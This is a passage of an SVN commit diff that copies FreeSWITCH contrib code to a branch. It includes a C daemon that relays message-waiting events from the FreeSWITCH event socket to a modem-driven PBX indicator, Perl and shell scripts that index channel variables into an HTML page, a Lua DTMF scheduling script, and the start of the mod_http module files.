+  if (signal (SIGINT, SIG_IGN) != SIG_IGN)
+    sigaction (SIGINT, &act, NULL);
+  (void)sigaction (SIGTERM, &act, NULL);
+  }
+
+
+static int
+connect_to_service (const char *hostname, const char *port)
+  {
+  int sock;
+  struct hostent *hp;
+  struct in_addr address;
+  struct servent *servp;
+  struct sockaddr_in sin;
+  
+  if ((sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
+    char *errstr = strerror (errno);
+
+    errmsg ("socket failed\n");
+    errmsg (errstr);
+    return -1;
+    }
+
+  memset (&sin, 0, sizeof (sin));
+
+  if (isalpha (hostname[0])) {
+    if ( !(hp = gethostbyname (hostname))) {
+      char *errstr = strerror (errno);
+
+      errmsg ("gethostbyname failed\n");
+      errmsg (errstr);
+      close (sock);
+      return -1;
+      }
+    if (hp->h_addrtype != AF_INET) {
+      errmsg ("gethostbyname returned unsupported family\n");
+      close (sock);
+      return -1;
+      }
+    memcpy (&sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
+    }
+  else {
+    address.s_addr = inet_addr (hostname);
+
+    if ((long)address.s_addr == -1) {
+      char *errstr = strerror (errno);
+
+      errmsg ("inet_addr failed\n");
+      errmsg (errstr);
+      close (sock);
+      return -1;
+      }
+    sin.sin_addr.s_addr = address.s_addr;
+    }
+
+  if (isalpha (*port)) {
+    if ( !(servp = getservbyname(port, "tcp"))) {
+      char *errstr = strerror (errno);
+
+      errmsg ("getservbyname failed\n");
+      errmsg (errstr);
+      close (sock);
+      return -1;
+      }
+    sin.sin_port = servp->s_port;
+    }
+  else
+    sin.sin_port = htons ((unsigned short)atoi (port));
+
+  sin.sin_family = AF_INET;
+
+  if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
+    char *errstr = strerror (errno);
+
+    errmsg ("connect failed\n");
+    errmsg (errstr);
+    close (sock);
+    return -1;
+    }
+
+  debugmsg ("Connected to service\n");
+
+  return sock;
+  }
+
+
+static ssize_t
+read_line (int fd, char *buf, size_t buf_len)
+  {
+  size_t l;
+  ssize_t nbytes_read;
+
+  l = 0;
+
+  for ( ; ; ) {
+    nbytes_read = read (fd, &buf[l], 1);
+
+    if (nbytes_read < 0) {
+      char *errstr = strerror (errno);
+
+      errmsg ("read failed in middle of line\n");
+      errmsg (errstr);
+      return -1;
+      }
+
+    if (nbytes_read == 0) {
+      if (l)
+        errmsg ("EOF in middle of line\n");
+      return l ? -1 : 0;
+      }
+
+    if (buf[l] == '\n') {
+      while (l && buf[l - 1] == '\r')
+        l--;
+      buf[l++] = '\0';
+      break;
+      }
+
+    l++;
+
+    if (l == buf_len) {
+      errmsg ("line too long\n");
+      return -1;
+      }
+    }
+
+  return l;
+  }
+
+
+static int
+read_trailing_newline(int fd)
+  {
+  char c;
+  ssize_t nbytes_read;
+
+  nbytes_read = read (fd, &c, 1);
+
+  if (nbytes_read < 0) {
+    char *errstr = strerror (errno);
+
+    errmsg ("read failed in trailing newline\n");
+    errmsg (errstr);
+    return -1;
+    }
+
+  if (nbytes_read == 0) {
+    errmsg ("EOF in trailing newline\n");
+    return -1;
+    }
+
+  if (c != '\n') {
+    errmsg ("missing trailing newline\n");
+    return -1;
+    }
+
+  return 0;
+  }
+
+
+static char *
+retrieve_message (int fd)
+  {
+  char cl_buf[64];
+  char ct_buf[64];
+  char *h;
+  char *m;
+  ssize_t cl;
+  ssize_t nbytes_read;
+  size_t l;
+  size_t nbytes_to_read;
+
+  if (shutdown_server)
+    return NULL;
+
+  /*
+   * Read / parse Content-Length and Content-Type.
+   */
+
+  nbytes_read = read_line (fd, cl_buf, sizeof (cl_buf));
+
+  if (nbytes_read < 0) {
+    errmsg ("read_line failed\n");
+    return NULL;
+    }
+
+  if (nbytes_read == 0) {
+
+    /*
+     * EOF
+     */
+
+    return NULL;
+    }
+
+  nbytes_read = read_line (fd, ct_buf, sizeof (ct_buf));
+
+  if (nbytes_read < 0) {
+    errmsg ("read_line failed\n");
+    return NULL;
+    }
+
+  if (nbytes_read == 0) {
+    errmsg ("EOF in middle of headers\n");
+    return NULL;
+    }
+
+  h = "Content-Length: ";
+  l = strlen (h);
+
+  if (strncmp (cl_buf, h, l) != 0) {
+
+    /*
+     * If the message header doesn't being with Content-Length,
+     * then it needs to be a Content-Type we understand.
+     */
+
+    h = "Content-Type: ";
+    l = strlen (h);
+
+    if (strncmp (cl_buf, h, l) != 0) {
+      errmsg ("missing Content-Type\n");
+      return NULL;
+      }
+
+    if (strcmp (&cl_buf[l], "auth/request") != 0
+        && strcmp (&cl_buf[l], "command/reply") != 0) {
+      errmsg ("Unsupported Content-Type\n");
+      return NULL;
+      }
+
+    if (ct_buf[0])
+      if (read_trailing_newline (fd) < 0) {
+        return NULL;
+        }
+
+    m = malloc (strlen (cl_buf) + 1 + strlen (ct_buf) + 1 + 1);
+
+    if (! m) {
+      char *errstr = strerror (errno);
+
+      errmsg ("malloc failed\n");
+      errmsg (errstr);
+      return NULL;
+      }
+
+    sprintf (m, "%s\n%s\n", cl_buf, ct_buf);
+
+    return m;
+    }
+
+  cl = atoi (&cl_buf[l]);
+
+  if (cl <= 0) {
+    errmsg ("Content-Length must be greater than zero\n");
+    return NULL;
+    }
+
+  h = "Content-Type: ";
+  l = strlen (h);
+
+  if (strncmp (ct_buf, h, l) != 0) {
+    errmsg ("missing Content-Type\n");
+    return NULL;
+    }
+
+  if (strcmp (&ct_buf[l], "text/event-plain") != 0) {
+    errmsg ("Unsupported Content-Type\n");
+    return NULL;
+    }
+
+  if (read_trailing_newline (fd) < 0) {
+    return NULL;
+    }
+
+  /*
+   * Read the event.
+   */
+
+  m = malloc (cl);
+
+  if (! m) {
+    char *errstr = strerror (errno);
+
+    errmsg ("malloc failed\n");
+    errmsg (errstr);
+    return NULL;
+    }
+
+  for (nbytes_to_read = cl; nbytes_to_read; nbytes_to_read -= nbytes_read) {
+    nbytes_read = read (fd, m + (cl - nbytes_to_read), nbytes_to_read);
+
+    if (nbytes_read < 0) {
+      char *errstr = strerror (errno);
+
+      errmsg ("read failed in middle of message\n");
+      errmsg (errstr);
+      free (m);
+      return NULL;
+      }
+
+    if (nbytes_read == 0) {
+      errmsg ("EOF in middle of message\n");
+      free (m);
+      return NULL;
+      }
+    }
+
+  if (m[cl - 2] != '\n' || m[cl - 1] != '\n') {
+    errmsg ("Message is missing trailing newlines\n");
+    free (m);
+    return NULL;
+    }
+
+  return m;
+  }
+
+
+static int
+send_password (int fd, const char *passwd)
+  {
+  char *h;
+  char *last;
+  char *m;
+  char *p;
+  int l;
+  size_t ml;
+
+  m = retrieve_message (fd);
+  if (! m)
+    return -1;
+
+  p = strtok_r (m, "\n", &last);
+
+  h = "Content-Type: auth/request";
+
+  if (strcmp (p, h) != 0) {
+    errmsg ("Content-Type wasn't auth/request\n");
+    free (m);
+    return -1;
+    }
+
+  free (m);
+
+  l = snprintf (NULL, 0, "auth %s\n\n", passwd);
+  if (l <= 0) {
+    errmsg ("snprintf failed\n");
+    return -1;
+    }
+  l++;
+
+  m = malloc (l);
+  if (! m) {
+    char *errstr = strerror (errno);
+
+    errmsg ("malloc failed\n");
+    errmsg (errstr);
+    return -1;
+    }
+
+  ml = snprintf (m, l, "auth %s\n\n", passwd);
+  if ((ml + 1) != l) {
+    errmsg ("snprintf failed\n");
+    free (m);
+    return -1;
+    }
+
+  if (write (fd, m, ml) != ml) {
+    char *errstr = strerror (errno);
+
+    errmsg ("write failed\n");
+    errmsg (errstr);
+    free (m);
+    return -1;
+    }
+
+  m = retrieve_message (fd);
+  if (! m )
+    return -1;
+
+  p = strtok_r (m, "\n", &last);
+
+  h = "Content-Type: command/reply";
+
+  if (! p || strcmp (p, h) != 0) {
+    errmsg ("Content-Type wasn't command/reply\n");
+    free (m);
+    return -1;
+    }
+
+  p = strtok_r (NULL, "\n", &last);
+
+  h = "Reply-Text: +OK accepted";
+
+  if (! p || strcmp (p, h) != 0) {
+    errmsg ("auth wasn't accepted\n");
+    free (m);
+    return -1;
+    }
+
+  free (m);
+
+  debugmsg ("Logged into service\n");
+
+  return 0;
+  }
+
+
+static int
+enable_mwi_event (int fd)
+  {
+  char *h;
+  char *last;
+  char *m;
+  char *p;
+  size_t ml;
+
+  m = "event plain MESSAGE_WAITING\n\n";
+  ml = strlen (m);
+
+  if (write (fd, m, ml) != ml) {
+    char *errstr = strerror (errno);
+
+    errmsg ("write failed\n");
+    errmsg (errstr);
+    return -1;
+    }
+
+  m = retrieve_message (fd);
+  if (! m )
+    return -1;
+
+  p = strtok_r (m, "\n", &last);
+
+  h = "Content-Type: command/reply";
+
+  if (! p || strcmp (p, h) != 0) {
+    errmsg ("Content-Type wasn't command/reply\n");
+    free (m);
+    return -1;
+    }
+
+  p = strtok_r (NULL, "\n", &last);
+
+  h = "Reply-Text: +OK event listener enabled plain";
+
+  if (! p || strcmp (p, h) != 0) {
+    errmsg ("event wasn't enabled\n");
+    free (m);
+    return -1;
+    }
+
+  free (m);
+
+  debugmsg ("Enabled message waiting event\n");
+
+  return 0;
+  }
+
+
+static int
+process_mwi_event (char *m, const char *device)
+  {
+  char cbuf[64];
+  char rbuf[64];
+  char *h;
+  char *last;
+  char *ma;
+  char *mw;
+  char *p;
+  int fd;
+  int mwi_off;
+  int mwi_on;
+  int r;
+  int w;
+  size_t l;
+  ssize_t ml;
+  ssize_t nbytes_read;
+  struct termios tio;
+
+  debugmsg ("Processing MWI event\n");
+
+  ma = NULL;
+  mw = NULL;
+
+  p = m;
+
+  while ( (p = strtok_r (p, "\n", &last)) ) {
+    h = "MWI-Messages-Waiting: ";
+    l = strlen (h);
+
+    if (strncmp (p, h, l) == 0)
+      mw = p + l;
+
+    h = "MWI-Message-Account: ";
+    l = strlen (h);
+
+    if (strncmp (p, h, l) == 0)
+      ma = p + l;
+
+    p = NULL;
+    }
+
+  if (! (ma && mw) ) {
+    errmsg ("message account or message waiting missing\n");
+    return -1;
+    }
+
+  p = strchr (ma, '\n');
+  if (p)
+    *p = '\n';
+
+  p = strchr (mw, '\n');
+  if (p)
+    *p = '\n';
+
+  /*
+   * The account is considered to be a System 25 extension if
+   * it's of the form:
+   *
+   *   numeric_string@host
+   */
+
+  p = strchr (ma, '%');
+  if (! p)
+    p = strchr (ma, '@');
+
+  if (! p || (strncmp (p, "%40", 3) != 0 && strncmp (p, "@", 1) != 0)) {
+    debugmsg ("  %s is not a System 25 extension\n", ma);
+    return 0;
+    }
+
+  *p = '\0';
+
+  for (p = ma; *p; p++)
+    if (! isdigit (*p)) {
+      debugmsg ("  %s is not a System 25 extension\n", ma);
+      return 0;
+      }
+
+  mwi_off = strcasecmp (mw, "no") == 0;
+  mwi_on = strcasecmp (mw, "yes") == 0;
+
+  if (mwi_off == mwi_on) {
+    errmsg ("Unsupported Messages-Waiting\n");
+    return 0;
+    }
+
+  for (r = 0; r < 3; r++) {
+    if ((fd = open (device, O_RDWR)) < 0) {
+      char *errstr = strerror (errno);
+
+      errmsg ("open failed for device node <%s>.\n", device);
+      errmsg (errstr);
+      return -1;
+      }
+
+    cfmakeraw (&tio);
+
+    tio.c_cflag = CS8 | CREAD | HUPCL | CCTS_OFLOW | CRTS_IFLOW;
+
+    tio.c_cc[VMIN] = 0;
+    tio.c_cc[VTIME] = 50;
+
+    cfsetispeed (&tio, B9600);
+    cfsetospeed (&tio, B9600);
+
+    if (tcsetattr (fd, TCSAFLUSH, &tio) < 0) {
+      char *errstr = strerror (errno);
+
+      errmsg ("tcsetattr failed\n");
+      errmsg (errstr);
+      close (fd);
+      return -1;
+      }
+
+    m = "AT";
+    ml = strlen (m);
+
+    if (write (fd, m, ml) != ml
+        || write (fd, "\r\n", 2) != 2) {
+      char *errstr = strerror (errno);
+
+      errmsg ("write failed\n");
+      errmsg (errstr);
+      close (fd);
+      return -1;
+      }
+
+    for (w = 0; w < 2; w++) {
+      nbytes_read = read_line (fd, rbuf, sizeof (rbuf));
+      if (nbytes_read > 0 && (rbuf[0] == '\0' || strcmp (rbuf, m) == 0))
+        continue;
+      break;
+      }
+
+    if (nbytes_read < 0) {
+      errmsg ("read_line failed\n");
+      close (fd);
+      return -1;
+      }
+
+    if (nbytes_read == 0
+        || strcmp (rbuf, "OK") != 0) {
+      errmsg ("modem failed to wake up\n");
+      close (fd);
+      continue;
+      }
+
+    m = cbuf;
+    ml  = snprintf (cbuf, sizeof (cbuf),
+                    "ATDT%s%s", (mwi_on ? "#90" : "#91"),  ma);
+    if (ml <= 0 || ml >= sizeof (cbuf)) {
+      errmsg ("snprintf failed.\n");
+      close (fd);
+      return -1;
+      }
+
+    if (write (fd, m, ml) != ml
+        || write (fd, "\r\n", 2) != 2) {
+      char *errstr = strerror (errno);
+
+      errmsg ("write failed\n");
+      errmsg (errstr);
+      close (fd);
+      return -1;
+      }
+
+    sleep (5);
+
+    if (write (fd, "\r\n", 2) != 2) {
+      char *errstr = strerror (errno);
+
+      errmsg ("write failed\n");
+      errmsg (errstr);
+      close (fd);
+      return -1;
+      }
+
+    for (w = 0; w < 2; w++) {
+      nbytes_read = read_line (fd, rbuf, sizeof (rbuf));
+      if (nbytes_read > 0 && (rbuf[0] == '\0' || strcmp (rbuf, m) == 0))
+        continue;
+      break;
+      }
+
+    if (nbytes_read < 0) {
+      errmsg ("read_line failed\n");
+      close (fd);
+      return -1;
+      }
+
+    if (nbytes_read > 0 && strcmp (rbuf, "NO DIALTONE") == 0) {
+      errmsg ("modem failed to detect dialtone\n");
+      close (fd);
+      return -1;
+      }
+
+    if (nbytes_read == 0
+        || strcmp (rbuf, "NO CARRIER") != 0) {
+      errmsg ("modem failed to update MWI\n");
+      close (fd);
+      continue;
+      }
+
+    close (fd);
+
+    debugmsg ("  message waiting indicator updated for %s\n", ma);
+    return 0;
+    }
+
+  errmsg (" failed to update message waiting indicator for %s\n", ma);
+
+  return -1;
+  }
+
+
+int
+main (int argc, char **argv)
+  {
+  const char *device = "/dev/cuad0";
+  const char *machine = "localhost";
+  const char *port = "8021";
+  const char *passwd = "ClueCon";
+  char *m;
+  int c;
+  int debug;
+  int fd;
+  struct stat statbuf;
+
+  debug = 0;
+
+  while ((c = getopt (argc, argv, "dm:p:w:")) != -1)
+    switch (c) {
+      case 'd':
+        debug = 1;
+        break;
+
+      case 'm':
+        machine = optarg;
+        break;
+
+      case 'p':
+        port = optarg;
+        break;
+
+      case 'w':
+        passwd = optarg;
+        break;
+
+      case 'l':
+        device = optarg;
+        break;
+
+      default:
+        fprintf (stderr,
+          "Usage: %s [-d] [-m machine] [-p port] [-w passwd] [-l device]\n",
+                 MyName);
+        exit(1);
+      /* NOTREACHED */
+        break;
+      }
+
+  if (stat (device, &statbuf) < 0 || ! S_ISCHR (statbuf.st_mode)) {
+    fprintf (stderr, "%s: stat failed for path <%s>\n", MyName, device);
+    fprintf (stderr, "%s: or the path isn't a character special file.\n",
+             MyName);
+    perror (MyName);
+    exit (1);
+    }
+
+  install_signal_handlers ();
+
+  if (! debug)
+    daemonize ();
+
+  while (! shutdown_server) {
+    sleep (5);
+
+    fd = connect_to_service (machine, port);
+    if (fd < 0) {
+      error_msg_throttle = 1;
+      continue;
+      }
+
+    if (send_password (fd, passwd) < 0
+        || enable_mwi_event (fd) < 0) {
+      error_msg_throttle = 1;
+      close (fd);
+      continue;
+      }
+
+    error_msg_throttle = 0;
+
+    while (m = retrieve_message (fd)) {
+      process_mwi_event (m, device);
+      free (m);
+      }
+
+    close (fd);
+    }
+
+  exit (0);
+  }

Copied: freeswitch/branches/seven/contrib/ledr (from rev 14471, freeswitch/trunk/contrib/ledr)

Copied: freeswitch/branches/seven/contrib/mcollins (from rev 14471, freeswitch/trunk/contrib/mcollins)

Deleted: freeswitch/branches/seven/contrib/mcollins/create-chanvars-html-page.pl

Copied: freeswitch/branches/seven/contrib/mcollins/create-chanvars-html-page.pl (from rev 14471, freeswitch/trunk/contrib/mcollins/create-chanvars-html-page.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/mcollins/create-chanvars-html-page.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mcollins/create-chanvars-html-page.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,242 @@
+#!/usr/bin/perl
+#
+# create-chanvars-html-page.pl
+#
+# Part of the janitorial process. :)
+#
+# NOTE: This script is used in conjunction with the extract-vars-from-source-tree.sh script
+#       Do not run this script manually; use the shell script
+#       Specify the source and temp directories in that script
+#
+# Goes through a bunch of source files to snag all lines with 
+# switch_channel_(s|g)et_variable in *.c files
+# _VARIABLE is *.h files
+#
+# Creates a table of vars aliased in *.h (hash, actually)
+# Then cycles through each line and creates a data struct:
+# key = chan var, val = hashes of source file names
+# sub hashes are:
+#   key = src file name, val = Array of Arrays
+#   Each sub array has two elements: 
+#     0 = line number
+#     1 = 'get' or 'set'
+#
+# example:
+#                            
+# remote_media_ip => { 
+#                      "mod_esf.c"    => [[114, "set"]],
+#                      "mod_sofia.c"  => [[1050, "get"], [1078, "get"]],
+#                      "sofia_glue.c" => [[2812, "set"]],
+# }
+#
+# Also creates an index based on filename like so in a hash:
+# key = source file name, val = hash of chanvar names
+# sub hashes are:
+#   key = chan var name, val = Array of arrays
+#   Each sub array has two elements:
+#     0 = line number
+#     1 = 'get' or 'set'
+#
+# example:
+#
+# "mod_nibblebill.c" => {
+#                         nibble_account      => [[334, "get"], [632, "get"]],
+#                         nibble_rate         => [[333, "get"], [540, "get"]],
+#                         nibble_total_billed => [[411, "set"]],
+# }
+#
+# Finally we create a simple HTML file that lets the user easily click around to Fisheye source
+#
+
+use strict;
+use warnings;
+use Data::Dump qw(dump);
+use File::Basename;
+use Getopt::Long;
+use HTML::Tiny;
+
+$|++;
+
+# Get the cmd line options
+my $srcdir = '/usr/src/freeswitch.trunk';
+my $tmpdir = '/tmp';
+my $htmldir = '/usr/local/freeswitch/htdocs';
+
+## Use these as defaults unless command line args are supplied
+GetOptions( 'srcdir=s' => \$srcdir,
+            'tmpdir=s' => \$tmpdir,
+            'htmldir=s' => \$htmldir,
+);
+
+my $srcdirlen = length $srcdir;  # calculate this once since it doesn't change
+
+my $headerfile = $tmpdir . "/header-defs.txt";
+my $datafile   = $tmpdir . "/get-set-vars.txt";
+my $htmlfile   = $htmldir . "/chanvars.html";
+
+my $site = 'http://fisheye.freeswitch.org/browse/FreeSWITCH';
+
+my $obvious_exceptions; # regex match for channel variable names we don't care about
+$obvious_exceptions = '^(|argv|v?var|var_?name|v?buf|char.*|inner_var_array.*|arg.*|string|tmp_name|[^_]*_var|\(char \*\) vvar)$';
+
+my %switch_types;	# key = switch type def, val = chan var name
+my %channel_vars; 	# key = chan var name, val = HoA
+					# HoA: key = filename, val = [line number, set|get]
+my %source_idx;         # key = src file name, val = HoA
+                                        # HoA: key = var name, val = [line number, set|get]
+my %source_files; 	# key = source filename, val = fisheye url where link is found
+
+open(FILEIN,"<",$headerfile) or die "$headerfile - $!\n";
+while(<FILEIN>) {
+    chomp;
+    my @RECIN = split /#define /,$_;
+    # debug
+    #print "$RECIN[1] \n";
+    $RECIN[1] =~ s/"//g;  # strip quote chars
+    my ($key, $val) = split /\s/,$RECIN[1];
+    $switch_types{$key} = $val;
+}
+close(FILEIN);
+
+# debug
+#print dump(\%switch_types);
+
+open(FILEIN,"<",$datafile) or die "$datafile - $!\n";
+while(<FILEIN>) {
+    chomp;
+    next if m/switch_channel_get_variables/;  # get variables != what we want
+    next unless m/switch_channel_(s|g)et_variable\s?\(/;
+    next if m/#define|SWITCH_DECLARE/;
+    next unless m/\.c(pp)?:/;    # only c and cpp files for now
+    ## Extract source file name
+    my @RECIN = split /(\.c(pp)?)/,$_;  # split on file name.c or name.cpp
+    my ($filename,$dir,$ext) = fileparse($RECIN[0]);
+    $filename .= $RECIN[1];    # append .c or .cpp
+    # debug 
+    #print "$filename\n";
+    # trim off the srcdir from beginning of string
+    my $reldir = substr $dir, $srcdirlen;
+    #print "$filename $dir $ext ($reldir)\n";
+    if ( ! exists( $source_files{$filename} ) ) {
+        $source_files{ $filename } = $site . $reldir . $filename;
+    }
+    
+    ## Extract line number for this occurrence in this source file
+    my $linenum = 0;
+    if ( $RECIN[3] =~ m/:(\d+):/ ) {
+        $linenum = $1;
+    }
+    
+    ## Determine get or set
+    my $setget = 'set';
+    if ( $RECIN[3] =~ m/get_variable/ ) {
+        $setget = 'get';
+    }
+    
+    ## Extract variable name
+    # Set is easier than get because splitting on comma does all the work
+    my @temp;
+    if ( $setget eq 'set' ) {
+        @temp = split /,\s*?/,$RECIN[3]; # second elem is channel variable name
+        $temp[1] =~ s/"//g;
+    } else {
+        # get is trickier - need to stop at first close paren
+        @temp = split /,\s+?/,$RECIN[3]; # second elem is channel variable name
+        $temp[1] =~ s/"//g;
+        $temp[1] =~ m/^([A-Za-z_]+)/;
+        $temp[1] = $1;
+        #debug
+        #print "$temp[1]\n";
+    }
+    my $channel_variable_name = $temp[1];
+    $channel_variable_name =~ s/"//g;   # strip quote chars
+    $channel_variable_name =~ s/^\s*//; # strip leading whitespace
+    if ( exists( $switch_types{$channel_variable_name} ) ) {
+        ## This isn't actually a channel variable name but rather a def from switch_types.h
+        $channel_variable_name = $switch_types{$channel_variable_name};
+    }
+    
+    ## Skip obvious exceptions...
+    next if $channel_variable_name =~ m/$obvious_exceptions/;
+    
+    ## populate the hash for this variable, filename and line num & get/set val
+    push @{ $channel_vars{$channel_variable_name}{$filename} }, [$linenum, $setget]; 
+    push @{ $source_idx{$filename}{$channel_variable_name} }, [$linenum, $setget];
+}
+close(FILEIN);
+
+#debug
+#print dump(\%channel_vars);
+#foreach (sort keys %channel_vars) { print "'$_'\n"; }
+#print dump(\%source_idx) . "\n";
+#print dump(\%source_files) . "\n";
+
+## Test the creation of simple html file
+open(HTML,'>',$htmlfile) or die "$htmlfile - $!\n";
+my $h = HTML::Tiny->new;
+my @links;    # contains the links for the HTML::Tiny p and a tags
+
+## Header Row
+#push @links, $h->tr( [ $h->th( 'Channel Variable', 'Source File', 'Links') ] );
+
+## Data Rows
+## NOTE: This does a case-insensitive sort
+foreach my $chanvar ( sort {lc $a cmp lc $b} keys %channel_vars ) {
+    my %this_var = %{ $channel_vars{$chanvar} };
+    
+    ## Cycle through each source file for this chan var
+    foreach ( sort keys %this_var ) {
+        ## These keys are source file names
+        my @row = ( 
+            $chanvar, 
+            $h->a( { 
+                href => $source_files{$_}, target => '_blank',
+		   }, 
+                $_ 
+            )
+        );
+        my $sourcename = $_;
+        foreach ( @{ $this_var{$_} } ) {
+            #$row[2] .= "@{ $_ }" . "<br/>";
+            my $linkname = "@{ $_ }";
+            my $linenum = @{ $_ }[0];
+            my $url = $source_files{$sourcename} . '?r=9999999#l' . $linenum;
+            $row[2] .= $h->a( { href => $url, target => '_blank' },
+                $linkname
+            ) . '<br/>';
+        } 
+        push @links, $h->tr( [ $h->td(@row) ] );
+    }
+
+}
+
+## debug
+#print dump(\@links) . "\n";
+
+## Create a table
+my $table = $h->table( 
+    { 
+        border => 1, cellspacing => 5, cellpadding => 1,
+    },
+    [
+        $h->tr( [ $h->th( 'Channel Variable', 'Source File', 'Links') ] ),
+        @links,
+    ]
+);
+
+## Create the HTML
+print HTML $h->html(
+    [
+      $h->head( $h->title( 'FreeSWITCH Source Files' ) ),
+      $h->body(
+        [
+	 $h->h1( { class => 'main' }, 'FreeSWITCH Channel Variables' ),
+         $table,
+        ]
+      )
+    ]
+);
+
+close(HTML);
+
+print "Operation complete\n";

Deleted: freeswitch/branches/seven/contrib/mcollins/extract-fs-vars-from-source-tree.sh

Copied: freeswitch/branches/seven/contrib/mcollins/extract-fs-vars-from-source-tree.sh (from rev 14471, freeswitch/trunk/contrib/mcollins/extract-fs-vars-from-source-tree.sh) (0 => 14472)


--- freeswitch/branches/seven/contrib/mcollins/extract-fs-vars-from-source-tree.sh	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mcollins/extract-fs-vars-from-source-tree.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+#!/bin/sh
+#
+# extract-fs-vars-from-source-tree.sh
+#
+# Walks the FreeSWITCH source tree
+#
+#
+# NOTES
+# Be sure to specify your source and temp directories below
+# Also, make this script and create-chanvars-html-page.pl executable
+#
+# MC 2009-04-02
+
+# Change these vars if your directories are different
+SRCDIR=/usr/src/freeswitch.trunk
+TMPDIR=/tmp
+HTMLDIR=/usr/local/freeswitch/htdocs
+
+# Grep the variables, then grep the aliases in the header files
+echo Searching source tree for channel variable set/get...
+grep -rn "[sg]et_variable(" $SRCDIR/* | grep -v Binary | grep -v svn > $TMPDIR/get-set-vars.txt
+
+echo Getting header file definitions...
+grep -n "_VARIABLE" $SRCDIR/src/include/*h > $TMPDIR/header-defs.txt
+
+# launch perl script here
+echo Creating HTML file in $TMPDIR directory
+./create-chanvars-html-page.pl --srcdir=$SRCDIR --tmpdir=$TMPDIR --htmldir=$HTMLDIR

Deleted: freeswitch/branches/seven/contrib/mcollins/uuid_send_dtmf.lua

Copied: freeswitch/branches/seven/contrib/mcollins/uuid_send_dtmf.lua (from rev 14471, freeswitch/trunk/contrib/mcollins/uuid_send_dtmf.lua) (0 => 14472)


--- freeswitch/branches/seven/contrib/mcollins/uuid_send_dtmf.lua	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mcollins/uuid_send_dtmf.lua	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+--[[ 
+
+    uuid_send_dtmf.lua
+
+Do uuid_send_dtmf from dialplan
+accepts three args: uuid, time, and dtmf
+uuid is the uuid of the session
+time is the "+ <seconds>" value in seconds
+dtmf is the sequence of dtmf digit(s) to send
+
+NOTE: only the "+<seconds>" syntax of sched_api is supported here
+NOTE: No error checking, so don't forget to send all args
+
+Example dialplan call:
+ <action application="lua" data="uuid_send_dtmf.lua ${uuid} 10 123"/>
+
+--]]
+
+-- Do not hangup at end of script
+session:setAutoHangup(false);
+
+-- get an api object
+api = freeswitch.API();
+
+-- get the calling args (uuid, time, dtmf)
+uuid = argv[1];
+time = argv[2];
+dtmf = argv[3];
+
+apicmd = "sched_api";
+apiarg = "+" .. time .. " none uuid_send_dtmf " .. uuid .. " " .. dtmf;
+
+freeswitch.console_log("NOTICE","apicmd: " .. apicmd .. "\n");
+freeswitch.console_log("NOTICE","apiarg: " .. apiarg .. "\n\n");
+
+if uuid then
+    -- schedule the uuid_send_dtmf 
+    res = api:execute(apicmd,apiarg);
+    freeswitch.console_log("ERR","Result is " .. res .. "\n\n");
+else
+    freeswitch.console_log("ERR","Did not receive a uuid for this call!\n");
+end
+
+-- All done!

Copied: freeswitch/branches/seven/contrib/mod (from rev 14471, freeswitch/trunk/contrib/mod)

Copied: freeswitch/branches/seven/contrib/mod/applications (from rev 14471, freeswitch/trunk/contrib/mod/applications)

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http)

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/Makefile

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/Makefile (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+BASE=../../../..
+LOCAL_SOURCES=arraylist.c debug.c json_object.c json_tokener.c json_util.c linkhash.c printbuf.c url_encoding.c http_req.c
+LOCAL_OBJS=arraylist.o debug.o json_object.o json_tokener.o json_util.o linkhash.o printbuf.o url_encoding.o http_req.o
+include $(BASE)/build/modmake.rules
+

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/README

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/README (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+NOTE:  This module has serious memory leaks, we strongly suggest you use mod_curl instead.

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/arraylist.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,95 @@
+/*
+ * $Id: arraylist.c,v 1.4 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#if STDC_HEADERS
+# include <stdlib.h>
+# include <string.h>
+#endif /* STDC_HEADERS */
+
+#if HAVE_STRINGS_H
+# include <strings.h>
+#endif /* HAVE_STRINGS_H */
+
+#include "bits.h"
+#include "arraylist.h"
+
+struct array_list *array_list_new(array_list_free_fn * free_fn)
+{
+	struct array_list *this;
+
+	if (!(this = calloc(1, sizeof(struct array_list))))
+		return NULL;
+	this->size = ARRAY_LIST_DEFAULT_SIZE;
+	this->length = 0;
+	this->free_fn = free_fn;
+	if (!(this->array = calloc(sizeof(void *), this->size))) {
+		free(this);
+		return NULL;
+	}
+	return this;
+}
+
+extern void array_list_free(struct array_list *this)
+{
